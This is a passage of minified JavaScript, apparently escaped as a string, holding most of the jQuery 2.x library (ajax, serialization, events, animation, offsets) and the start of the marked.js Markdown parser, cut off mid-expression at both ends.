\"):[n];for(;4>r;r++)i[e+jt[r]+t]=o[r]||o[r-2]||o[0];return i}},wt.test(e)||(x.cssHooks[e+t].set=Ot)});var Wt=/%20/g,$t=/\\[\\]$/,Bt=/\\r?\\n/g,It=/^(?:submit|button|image|reset|file)$/i,zt=/^(?:input|select|textarea|keygen)/i;x.fn.extend({serialize:function(){return x.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=x.prop(this,\"elements\");return e?x.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!x(this).is(\":disabled\")&&zt.test(this.nodeName)&&!It.test(e)&&(this.checked||!ot.test(e))}).map(function(e,t){var n=x(this).val();return null==n?null:x.isArray(n)?x.map(n,function(e){return{name:t.name,value:e.replace(Bt,\"\\r\\n\")}}):{name:t.name,value:n.replace(Bt,\"\\r\\n\")}}).get()}}),x.param=function(e,t){var n,r=[],i=function(e,t){t=x.isFunction(t)?t():null==t?\"\":t,r[r.length]=encodeURIComponent(e)+\"=\"+encodeURIComponent(t)};if(t===undefined&&(t=x.ajaxSettings&&x.ajaxSettings.traditional),x.isArray(e)||e.jquery&&!x.isPlainObject(e))x.each(e,function(){i(this.name,this.value)});else for(n in e)_t(n,e[n],t,i);return r.join(\"&\").replace(Wt,\"+\")};function _t(e,t,n,r){var i;if(x.isArray(t))x.each(t,function(t,i){n||$t.test(e)?r(e,i):_t(e+\"[\"+(\"object\"==typeof i?t:\"\")+\"]\",i,n,r)});else if(n||\"object\"!==x.type(t))r(e,t);else for(i in t)_t(e+\"[\"+i+\"]\",t[i],n,r)}x.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(e,t){x.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),x.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)\n},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}});var Xt,Ut,Yt=x.now(),Vt=/\\?/,Gt=/#.*$/,Jt=/([?&])_=[^&]*/,Qt=/^(.*?):[ \\t]*([^\\r\\n]*)$/gm,Kt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Zt=/^(?:GET|HEAD)$/,en=/^\\/\\//,tn=/^([\\w.+-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+)|)|)/,nn=x.fn.load,rn={},on={},sn=\"*/\".concat(\"*\");try{Ut=i.href}catch(an){Ut=o.createElement(\"a\"),Ut.href=\"\",Ut=Ut.href}Xt=tn.exec(Ut.toLowerCase())||[];function un(e){return function(t,n){\"string\"!=typeof t&&(n=t,t=\"*\");var r,i=0,o=t.toLowerCase().match(w)||[];if(x.isFunction(n))while(r=o[i++])\"+\"===r[0]?(r=r.slice(1)||\"*\",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function ln(e,t,n,r){var i={},o=e===on;function s(a){var u;return i[a]=!0,x.each(e[a]||[],function(e,a){var l=a(t,n,r);return\"string\"!=typeof l||o||i[l]?o?!(u=l):undefined:(t.dataTypes.unshift(l),s(l),!1)}),u}return s(t.dataTypes[0])||!i[\"*\"]&&s(\"*\")}function cn(e,t){var n,r,i=x.ajaxSettings.flatOptions||{};for(n in t)t[n]!==undefined&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&x.extend(!0,e,r),e}x.fn.load=function(e,t,n){if(\"string\"!=typeof e&&nn)return nn.apply(this,arguments);var r,i,o,s=this,a=e.indexOf(\" \");return a>=0&&(r=e.slice(a),e=e.slice(0,a)),x.isFunction(t)?(n=t,t=undefined):t&&\"object\"==typeof t&&(i=\"POST\"),s.length>0&&x.ajax({url:e,type:i,dataType:\"html\",data:t}).done(function(e){o=arguments,s.html(r?x(\"<div>\").append(x.parseHTML(e)).find(r):e)}).complete(n&&function(e,t){s.each(n,o||[e.responseText,t,e])}),this},x.each([\"ajaxStart\",\"ajaxStop\",\"ajaxComplete\",\"ajaxError\",\"ajaxSuccess\",\"ajaxSend\"],function(e,t){x.fn[t]=function(e){return this.on(t,e)}}),x.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ut,type:\"GET\",isLocal:Kt.test(Xt[1]),global:!0,processData:!0,async:!0,contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",accepts:{\"*\":sn,text:\"text/plain\",html:\"text/html\",xml:\"application/xml, text/xml\",json:\"application/json, text/javascript\"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\",json:\"responseJSON\"},converters:{\"* text\":String,\"text html\":!0,\"text json\":x.parseJSON,\"text xml\":x.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?cn(cn(e,x.ajaxSettings),t):cn(x.ajaxSettings,e)},ajaxPrefilter:un(rn),ajaxTransport:un(on),ajax:function(e,t){\"object\"==typeof e&&(t=e,e=undefined),t=t||{};var n,r,i,o,s,a,u,l,c=x.ajaxSetup({},t),p=c.context||c,f=c.context&&(p.nodeType||p.jquery)?x(p):x.event,h=x.Deferred(),d=x.Callbacks(\"once memory\"),g=c.statusCode||{},m={},y={},v=0,b=\"canceled\",T={readyState:0,getResponseHeader:function(e){var t;if(2===v){if(!o){o={};while(t=Qt.exec(i))o[t[1].toLowerCase()]=t[2]}t=o[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===v?i:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return v||(e=y[n]=y[n]||e,m[e]=t),this},overrideMimeType:function(e){return v||(c.mimeType=e),this},statusCode:function(e){var t;if(e)if(2>v)for(t in e)g[t]=[g[t],e[t]];else T.always(e[T.status]);return this},abort:function(e){var t=e||b;return n&&n.abort(t),k(0,t),this}};if(h.promise(T).complete=d.add,T.success=T.done,T.error=T.fail,c.url=((e||c.url||Ut)+\"\").replace(Gt,\"\").replace(en,Xt[1]+\"//\"),c.type=t.method||t.type||c.method||c.type,c.dataTypes=x.trim(c.dataType||\"*\").toLowerCase().match(w)||[\"\"],null==c.crossDomain&&(a=tn.exec(c.url.toLowerCase()),c.crossDomain=!(!a||a[1]===Xt[1]&&a[2]===Xt[2]&&(a[3]||(\"http:\"===a[1]?\"80\":\"443\"))===(Xt[3]||(\"http:\"===Xt[1]?\"80\":\"443\")))),c.data&&c.processData&&\"string\"!=typeof c.data&&(c.data=x.param(c.data,c.traditional)),ln(rn,c,t,T),2===v)return T;u=c.global,u&&0===x.active++&&x.event.trigger(\"ajaxStart\"),c.type=c.type.toUpperCase(),c.hasContent=!Zt.test(c.type),r=c.url,c.hasContent||(c.data&&(r=c.url+=(Vt.test(r)?\"&\":\"?\")+c.data,delete c.data),c.cache===!1&&(c.url=Jt.test(r)?r.replace(Jt,\"$1_=\"+Yt++):r+(Vt.test(r)?\"&\":\"?\")+\"_=\"+Yt++)),c.ifModified&&(x.lastModified[r]&&T.setRequestHeader(\"If-Modified-Since\",x.lastModified[r]),x.etag[r]&&T.setRequestHeader(\"If-None-Match\",x.etag[r])),(c.data&&c.hasContent&&c.contentType!==!1||t.contentType)&&T.setRequestHeader(\"Content-Type\",c.contentType),T.setRequestHeader(\"Accept\",c.dataTypes[0]&&c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+(\"*\"!==c.dataTypes[0]?\", \"+sn+\"; q=0.01\":\"\"):c.accepts[\"*\"]);for(l in c.headers)T.setRequestHeader(l,c.headers[l]);if(c.beforeSend&&(c.beforeSend.call(p,T,c)===!1||2===v))return T.abort();b=\"abort\";for(l in{success:1,error:1,complete:1})T[l](c[l]);if(n=ln(on,c,t,T)){T.readyState=1,u&&f.trigger(\"ajaxSend\",[T,c]),c.async&&c.timeout>0&&(s=setTimeout(function(){T.abort(\"timeout\")},c.timeout));try{v=1,n.send(m,k)}catch(C){if(!(2>v))throw C;k(-1,C)}}else k(-1,\"No Transport\");function k(e,t,o,a){var l,m,y,b,w,C=t;2!==v&&(v=2,s&&clearTimeout(s),n=undefined,i=a||\"\",T.readyState=e>0?4:0,l=e>=200&&300>e||304===e,o&&(b=pn(c,T,o)),b=fn(c,b,T,l),l?(c.ifModified&&(w=T.getResponseHeader(\"Last-Modified\"),w&&(x.lastModified[r]=w),w=T.getResponseHeader(\"etag\"),w&&(x.etag[r]=w)),204===e||\"HEAD\"===c.type?C=\"nocontent\":304===e?C=\"notmodified\":(C=b.state,m=b.data,y=b.error,l=!y)):(y=C,(e||!C)&&(C=\"error\",0>e&&(e=0))),T.status=e,T.statusText=(t||C)+\"\",l?h.resolveWith(p,[m,C,T]):h.rejectWith(p,[T,C,y]),T.statusCode(g),g=undefined,u&&f.trigger(l?\"ajaxSuccess\":\"ajaxError\",[T,c,l?m:y]),d.fireWith(p,[T,C]),u&&(f.trigger(\"ajaxComplete\",[T,c]),--x.active||x.event.trigger(\"ajaxStop\")))}return T},getJSON:function(e,t,n){return x.get(e,t,n,\"json\")},getScript:function(e,t){return x.get(e,undefined,t,\"script\")}}),x.each([\"get\",\"post\"],function(e,t){x[t]=function(e,n,r,i){return x.isFunction(n)&&(i=i||r,r=n,n=undefined),x.ajax({url:e,type:t,dataType:i,data:n,success:r})}});function pn(e,t,n){var r,i,o,s,a=e.contents,u=e.dataTypes;while(\"*\"===u[0])u.shift(),r===undefined&&(r=e.mimeType||t.getResponseHeader(\"Content-Type\"));if(r)for(i in a)if(a[i]&&a[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+\" \"+u[0]]){o=i;break}s||(s=i)}o=o||s}return o?(o!==u[0]&&u.unshift(o),n[o]):undefined}function fn(e,t,n,r){var i,o,s,a,u,l={},c=e.dataTypes.slice();if(c[1])for(s in e.converters)l[s.toLowerCase()]=e.converters[s];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if(\"*\"===o)o=u;else if(\"*\"!==u&&u!==o){if(s=l[u+\" \"+o]||l[\"* \"+o],!s)for(i in l)if(a=i.split(\" \"),a[1]===o&&(s=l[u+\" \"+a[0]]||l[\"* \"+a[0]])){s===!0?s=l[i]:l[i]!==!0&&(o=a[0],c.unshift(a[1]));break}if(s!==!0)if(s&&e[\"throws\"])t=s(t);else try{t=s(t)}catch(p){return{state:\"parsererror\",error:s?p:\"No conversion from \"+u+\" to \"+o}}}return{state:\"success\",data:t}}x.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/(?:java|ecma)script/},converters:{\"text script\":function(e){return x.globalEval(e),e}}}),x.ajaxPrefilter(\"script\",function(e){e.cache===undefined&&(e.cache=!1),e.crossDomain&&(e.type=\"GET\")}),x.ajaxTransport(\"script\",function(e){if(e.crossDomain){var t,n;return{send:function(r,i){t=x(\"<script>\").prop({async:!0,charset:e.scriptCharset,src:e.url}).on(\"load error\",n=function(e){t.remove(),n=null,e&&i(\"error\"===e.type?404:200,e.type)}),o.head.appendChild(t[0])},abort:function(){n&&n()}}}});var hn=[],dn=/(=)\\?(?=&|$)|\\?\\?/;x.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var e=hn.pop()||x.expando+\"_\"+Yt++;return this[e]=!0,e}}),x.ajaxPrefilter(\"json jsonp\",function(t,n,r){var i,o,s,a=t.jsonp!==!1&&(dn.test(t.url)?\"url\":\"string\"==typeof t.data&&!(t.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&dn.test(t.data)&&\"data\");return a||\"jsonp\"===t.dataTypes[0]?(i=t.jsonpCallback=x.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,a?t[a]=t[a].replace(dn,\"$1\"+i):t.jsonp!==!1&&(t.url+=(Vt.test(t.url)?\"&\":\"?\")+t.jsonp+\"=\"+i),t.converters[\"script json\"]=function(){return s||x.error(i+\" was not called\"),s[0]},t.dataTypes[0]=\"json\",o=e[i],e[i]=function(){s=arguments},r.always(function(){e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,hn.push(i)),s&&x.isFunction(o)&&o(s[0]),s=o=undefined}),\"script\"):undefined}),x.ajaxSettings.xhr=function(){try{return new XMLHttpRequest}catch(e){}};var gn=x.ajaxSettings.xhr(),mn={0:200,1223:204},yn=0,vn={};e.ActiveXObject&&x(e).on(\"unload\",function(){for(var e in vn)vn[e]();vn=undefined}),x.support.cors=!!gn&&\"withCredentials\"in gn,x.support.ajax=gn=!!gn,x.ajaxTransport(function(e){var t;return x.support.cors||gn&&!e.crossDomain?{send:function(n,r){var i,o,s=e.xhr();if(s.open(e.type,e.url,e.async,e.username,e.password),e.xhrFields)for(i in e.xhrFields)s[i]=e.xhrFields[i];e.mimeType&&s.overrideMimeType&&s.overrideMimeType(e.mimeType),e.crossDomain||n[\"X-Requested-With\"]||(n[\"X-Requested-With\"]=\"XMLHttpRequest\");for(i in n)s.setRequestHeader(i,n[i]);t=function(e){return function(){t&&(delete vn[o],t=s.onload=s.onerror=null,\"abort\"===e?s.abort():\"error\"===e?r(s.status||404,s.statusText):r(mn[s.status]||s.status,s.statusText,\"string\"==typeof s.responseText?{text:s.responseText}:undefined,s.getAllResponseHeaders()))}},s.onload=t(),s.onerror=t(\"error\"),t=vn[o=yn++]=t(\"abort\"),s.send(e.hasContent&&e.data||null)},abort:function(){t&&t()}}:undefined});var xn,bn,wn=/^(?:toggle|show|hide)$/,Tn=RegExp(\"^(?:([+-])=|)(\"+b+\")([a-z%]*)$\",\"i\"),Cn=/queueHooks$/,kn=[An],Nn={\"*\":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=Tn.exec(t),o=i&&i[3]||(x.cssNumber[e]?\"\":\"px\"),s=(x.cssNumber[e]||\"px\"!==o&&+r)&&Tn.exec(x.css(n.elem,e)),a=1,u=20;if(s&&s[3]!==o){o=o||s[3],i=i||[],s=+r||1;do a=a||\".5\",s/=a,x.style(n.elem,e,s+o);while(a!==(a=n.cur()/r)&&1!==a&&--u)}return i&&(s=n.start=+s||+r||0,n.unit=o,n.end=i[1]?s+(i[1]+1)*i[2]:+i[2]),n}]};function En(){return setTimeout(function(){xn=undefined}),xn=x.now()}function Sn(e,t,n){var r,i=(Nn[t]||[]).concat(Nn[\"*\"]),o=0,s=i.length;for(;s>o;o++)if(r=i[o].call(n,t,e))return r}function jn(e,t,n){var r,i,o=0,s=kn.length,a=x.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;var t=xn||En(),n=Math.max(0,l.startTime+l.duration-t),r=n/l.duration||0,o=1-r,s=0,u=l.tweens.length;for(;u>s;s++)l.tweens[s].run(o);return a.notifyWith(e,[l,o,n]),1>o&&u?n:(a.resolveWith(e,[l]),!1)},l=a.promise({elem:e,props:x.extend({},t),opts:x.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:xn||En(),duration:n.duration,tweens:[],createTween:function(t,n){var r=x.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;r>n;n++)l.tweens[n].run(1);return t?a.resolveWith(e,[l,t]):a.rejectWith(e,[l,t]),this}}),c=l.props;for(Dn(c,l.opts.specialEasing);s>o;o++)if(r=kn[o].call(l,e,c,l.opts))return r;return x.map(c,Sn,l),x.isFunction(l.opts.start)&&l.opts.start.call(e,l),x.fx.timer(x.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always)}function Dn(e,t){var n,r,i,o,s;for(n in e)if(r=x.camelCase(n),i=t[r],o=e[n],x.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),s=x.cssHooks[r],s&&\"expand\"in s){o=s.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}x.Animation=x.extend(jn,{tweener:function(e,t){x.isFunction(e)?(t=e,e=[\"*\"]):e=e.split(\" \");var n,r=0,i=e.length;for(;i>r;r++)n=e[r],Nn[n]=Nn[n]||[],Nn[n].unshift(t)},prefilter:function(e,t){t?kn.unshift(e):kn.push(e)}});function An(e,t,n){var r,i,o,s,a,u,l=this,c={},p=e.style,f=e.nodeType&&Lt(e),h=q.get(e,\"fxshow\");n.queue||(a=x._queueHooks(e,\"fx\"),null==a.unqueued&&(a.unqueued=0,u=a.empty.fire,a.empty.fire=function(){a.unqueued||u()}),a.unqueued++,l.always(function(){l.always(function(){a.unqueued--,x.queue(e,\"fx\").length||a.empty.fire()})})),1===e.nodeType&&(\"height\"in t||\"width\"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],\"inline\"===x.css(e,\"display\")&&\"none\"===x.css(e,\"float\")&&(p.display=\"inline-block\")),n.overflow&&(p.overflow=\"hidden\",l.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t)if(i=t[r],wn.exec(i)){if(delete t[r],o=o||\"toggle\"===i,i===(f?\"hide\":\"show\")){if(\"show\"!==i||!h||h[r]===undefined)continue;f=!0}c[r]=h&&h[r]||x.style(e,r)}if(!x.isEmptyObject(c)){h?\"hidden\"in h&&(f=h.hidden):h=q.access(e,\"fxshow\",{}),o&&(h.hidden=!f),f?x(e).show():l.done(function(){x(e).hide()}),l.done(function(){var t;q.remove(e,\"fxshow\");for(t in c)x.style(e,t,c[t])});for(r in c)s=Sn(f?h[r]:0,r,l),r in h||(h[r]=s.start,f&&(s.end=s.start,s.start=\"width\"===r||\"height\"===r?1:0))}}function Ln(e,t,n,r,i){return new Ln.prototype.init(e,t,n,r,i)}x.Tween=Ln,Ln.prototype={constructor:Ln,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||\"swing\",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(x.cssNumber[n]?\"\":\"px\")},cur:function(){var e=Ln.propHooks[this.prop];return e&&e.get?e.get(this):Ln.propHooks._default.get(this)},run:function(e){var t,n=Ln.propHooks[this.prop];return this.pos=t=this.options.duration?x.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Ln.propHooks._default.set(this),this}},Ln.prototype.init.prototype=Ln.prototype,Ln.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=x.css(e.elem,e.prop,\"\"),t&&\"auto\"!==t?t:0):e.elem[e.prop]},set:function(e){x.fx.step[e.prop]?x.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[x.cssProps[e.prop]]||x.cssHooks[e.prop])?x.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},Ln.propHooks.scrollTop=Ln.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},x.each([\"toggle\",\"show\",\"hide\"],function(e,t){var n=x.fn[t];x.fn[t]=function(e,r,i){return null==e||\"boolean\"==typeof e?n.apply(this,arguments):this.animate(qn(t,!0),e,r,i)}}),x.fn.extend({fadeTo:function(e,t,n,r){return this.filter(Lt).css(\"opacity\",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=x.isEmptyObject(e),o=x.speed(t,n,r),s=function(){var t=jn(this,x.extend({},e),o);(i||q.get(this,\"finish\"))&&t.stop(!0)};return s.finish=s,i||o.queue===!1?this.each(s):this.queue(o.queue,s)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return\"string\"!=typeof e&&(n=t,t=e,e=undefined),t&&e!==!1&&this.queue(e||\"fx\",[]),this.each(function(){var t=!0,i=null!=e&&e+\"queueHooks\",o=x.timers,s=q.get(this);if(i)s[i]&&s[i].stop&&r(s[i]);else for(i in s)s[i]&&s[i].stop&&Cn.test(i)&&r(s[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));(t||!n)&&x.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||\"fx\"),this.each(function(){var t,n=q.get(this),r=n[e+\"queue\"],i=n[e+\"queueHooks\"],o=x.timers,s=r?r.length:0;for(n.finish=!0,x.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;s>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}});function qn(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2-t)n=jt[i],r[\"margin\"+n]=r[\"padding\"+n]=e;return t&&(r.opacity=r.width=e),r}x.each({slideDown:qn(\"show\"),slideUp:qn(\"hide\"),slideToggle:qn(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(e,t){x.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),x.speed=function(e,t,n){var r=e&&\"object\"==typeof e?x.extend({},e):{complete:n||!n&&t||x.isFunction(e)&&e,duration:e,easing:n&&t||t&&!x.isFunction(t)&&t};return r.duration=x.fx.off?0:\"number\"==typeof r.duration?r.duration:r.duration in x.fx.speeds?x.fx.speeds[r.duration]:x.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue=\"fx\"),r.old=r.complete,r.complete=function(){x.isFunction(r.old)&&r.old.call(this),r.queue&&x.dequeue(this,r.queue)},r},x.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},x.timers=[],x.fx=Ln.prototype.init,x.fx.tick=function(){var e,t=x.timers,n=0;for(xn=x.now();t.length>n;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||x.fx.stop(),xn=undefined},x.fx.timer=function(e){e()&&x.timers.push(e)&&x.fx.start()},x.fx.interval=13,x.fx.start=function(){bn||(bn=setInterval(x.fx.tick,x.fx.interval))},x.fx.stop=function(){clearInterval(bn),bn=null},x.fx.speeds={slow:600,fast:200,_default:400},x.fx.step={},x.expr&&x.expr.filters&&(x.expr.filters.animated=function(e){return x.grep(x.timers,function(t){return e===t.elem}).length}),x.fn.offset=function(e){if(arguments.length)return e===undefined?this:this.each(function(t){x.offset.setOffset(this,e,t)});var t,n,i=this[0],o={top:0,left:0},s=i&&i.ownerDocument;if(s)return t=s.documentElement,x.contains(t,i)?(typeof i.getBoundingClientRect!==r&&(o=i.getBoundingClientRect()),n=Hn(s),{top:o.top+n.pageYOffset-t.clientTop,left:o.left+n.pageXOffset-t.clientLeft}):o},x.offset={setOffset:function(e,t,n){var r,i,o,s,a,u,l,c=x.css(e,\"position\"),p=x(e),f={};\"static\"===c&&(e.style.position=\"relative\"),a=p.offset(),o=x.css(e,\"top\"),u=x.css(e,\"left\"),l=(\"absolute\"===c||\"fixed\"===c)&&(o+u).indexOf(\"auto\")>-1,l?(r=p.position(),s=r.top,i=r.left):(s=parseFloat(o)||0,i=parseFloat(u)||0),x.isFunction(t)&&(t=t.call(e,n,a)),null!=t.top&&(f.top=t.top-a.top+s),null!=t.left&&(f.left=t.left-a.left+i),\"using\"in t?t.using.call(e,f):p.css(f)}},x.fn.extend({position:function(){if(this[0]){var e,t,n=this[0],r={top:0,left:0};return\"fixed\"===x.css(n,\"position\")?t=n.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),x.nodeName(e[0],\"html\")||(r=e.offset()),r.top+=x.css(e[0],\"borderTopWidth\",!0),r.left+=x.css(e[0],\"borderLeftWidth\",!0)),{top:t.top-r.top-x.css(n,\"marginTop\",!0),left:t.left-r.left-x.css(n,\"marginLeft\",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||s;while(e&&!x.nodeName(e,\"html\")&&\"static\"===x.css(e,\"position\"))e=e.offsetParent;return e||s})}}),x.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(t,n){var r=\"pageYOffset\"===n;x.fn[t]=function(i){return x.access(this,function(t,i,o){var s=Hn(t);return o===undefined?s?s[n]:t[i]:(s?s.scrollTo(r?e.pageXOffset:o,r?o:e.pageYOffset):t[i]=o,undefined)},t,i,arguments.length,null)}});function Hn(e){return x.isWindow(e)?e:9===e.nodeType&&e.defaultView}x.each({Height:\"height\",Width:\"width\"},function(e,t){x.each({padding:\"inner\"+e,content:t,\"\":\"outer\"+e},function(n,r){x.fn[r]=function(r,i){var o=arguments.length&&(n||\"boolean\"!=typeof r),s=n||(r===!0||i===!0?\"margin\":\"border\");return x.access(this,function(t,n,r){var i;return x.isWindow(t)?t.document.documentElement[\"client\"+e]:9===t.nodeType?(i=t.documentElement,Math.max(t.body[\"scroll\"+e],i[\"scroll\"+e],t.body[\"offset\"+e],i[\"offset\"+e],i[\"client\"+e])):r===undefined?x.css(t,n,s):x.style(t,n,r,s)},t,o?r:undefined,o,null)}})}),x.fn.size=function(){return this.length},x.fn.andSelf=x.fn.addBack,\"object\"==typeof module&&module&&\"object\"==typeof module.exports?module.exports=x:\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return x}),\"object\"==typeof e&&\"object\"==typeof e.document&&(e.jQuery=e.$=x)})(window);\n(function(){function e(e){this.tokens=[],this.tokens.links={},this.options=e||a.defaults,this.rules=p.normal,this.options.gfm&&(this.options.tables?this.rules=p.tables:this.rules=p.gfm)}function t(e,t){if(this.options=t||a.defaults,this.links=e,this.rules=u.normal,this.renderer=this.options.renderer||new n,this.renderer.options=this.options,!this.links)throw new Error(\"Tokens array requires a `links` property.\");this.options.gfm?this.options.breaks?this.rules=u.breaks:this.rules=u.gfm:this.options.pedantic&&(this.rules=u.pedantic)}function n(e){this.options=e||{}}function r(e){this.tokens=[],this.token=null,this.options=e||a.defaults,this.options.renderer=this.options.renderer||new n,this.renderer=this.options.renderer,this.renderer.options=this.options}function s(e,t){return e.replace(t?/&/g:/&(?!#?\\w+;)/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\").replace(/\"/g,\"&quot;\").replace(/'/g,\"&#39;\")}function i(e){return e.replace(/&(#(?:\\d+)|(?:#x[0-9A-Fa-f]+)|(?:\\w+));?/g,function(e,t){return t=t.toLowerCase(),\"colon\"===t?\":\":\"#\"===t.charAt(0)?\"x\"===t.charAt(1)?String.fromCharCode(parseInt(t.substring(2),16)):String.fromCharCode(+t.substring(1)):\"\"})}function l(e,t){return e=e.source,t=t||\"\",function n(r,s){return r?(s=s.source||s,s=s.replace(/(^|[^\\[])\\^/g,\"$1\"),e=e.replace(r,s),n):new RegExp(e,t)}}function o(){}function h(e){for(var t,n,r=1;r<arguments.length;r++){t=arguments[r];for(n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])}return e}function a(t,n,i){if(i||\"function\"==typeof n){i||(i=n,n=null),n=h({},a.defaults,n||{});var l,o,p=n.highlight,u=0;try{l=e.lex(t,n)}catch(c){return i(c)}o=l.length;var g=function(e){if(e)return n.highlight=p,i(e);var t;try{t=r.parse(l,n)}catch(s){e=s}return n.highlight=p,e?i(e):i(null,t)};if(!p||p.length<3)return g();if(delete n.highlight,!o)return g();for(;u<l.length;u++)!function(e){return\"code\"!==e.type?--o||g():p(e.text,e.lang,function(t,n){return t?g(t):null==n||n===e.text?--o||g():(e.text=n,e.escaped=!0,void(--o||g()))})}(l[u])}else try{return n&&(n=h({},a.defaults,n)),r.parse(e.lex(t,n),n)}catch(c){if(c.message+=\"\\nPlease report this to github.com/chjj/marked.\",(n||a.defaults).silent)return\"<p>An error occured:</p><pre>\"+s(c.message+\"\",!0)+\"</pre>\";throw c}}var p={newline:/^\\n+/,code:/^( {4}[^\\n]+\\n*)+/,fences:o,hr:/^( *[-*_]){3,} *(?:\\n+|$)/,heading:/^ *(#{1,6}) *([^\\n]+?) *#* *(?:\\n+|$)/,nptable:o,lheading:/^([^\\n]+)\\n *(=|-){2,} *(?:\\n+|$)/,blockquote:/^( *>[^\\n]+(\\n(?!def)[^\\n]+)*\\n*)+/,list:/^( *)(bull) [\\s\\S]+?(?:hr|def|\\n{2,}(?! )(?!\\1bull )\\n*|\\s*$)/,html:/^ *(?:comment *(?:\\n|\\s*$)|closed *(?:\\n{2,}|\\s*$)|closing *(?:\\n{2,}|\\s*$))/,def:/^ *\\[([^\\]]+)\\]: *<?([^\\s>]+)>?(?: +[\"(]([^\\n]+)[\")])? *(?:\\n+|$)/,table:o,paragraph:/^((?:[^\\n]+\\n?(?!hr|heading|lheading|blockquote|tag|def))+)\\n*/,text:/^[^\\n]+/};p.bullet=/(?:[*+-]|\\d+\\.)/,p.item=/^( *)(bull) [^\\n]*(?:\\n(?!\\1bull )[^\\n]*)*/,p.item=l(p.item,\"gm\")(/bull/g,p.bullet)(),p.list=l(p.list)(/bull/g,p.bullet)(\"hr\",\"\\\\n+(?=\\\\1?(?:[-*_] 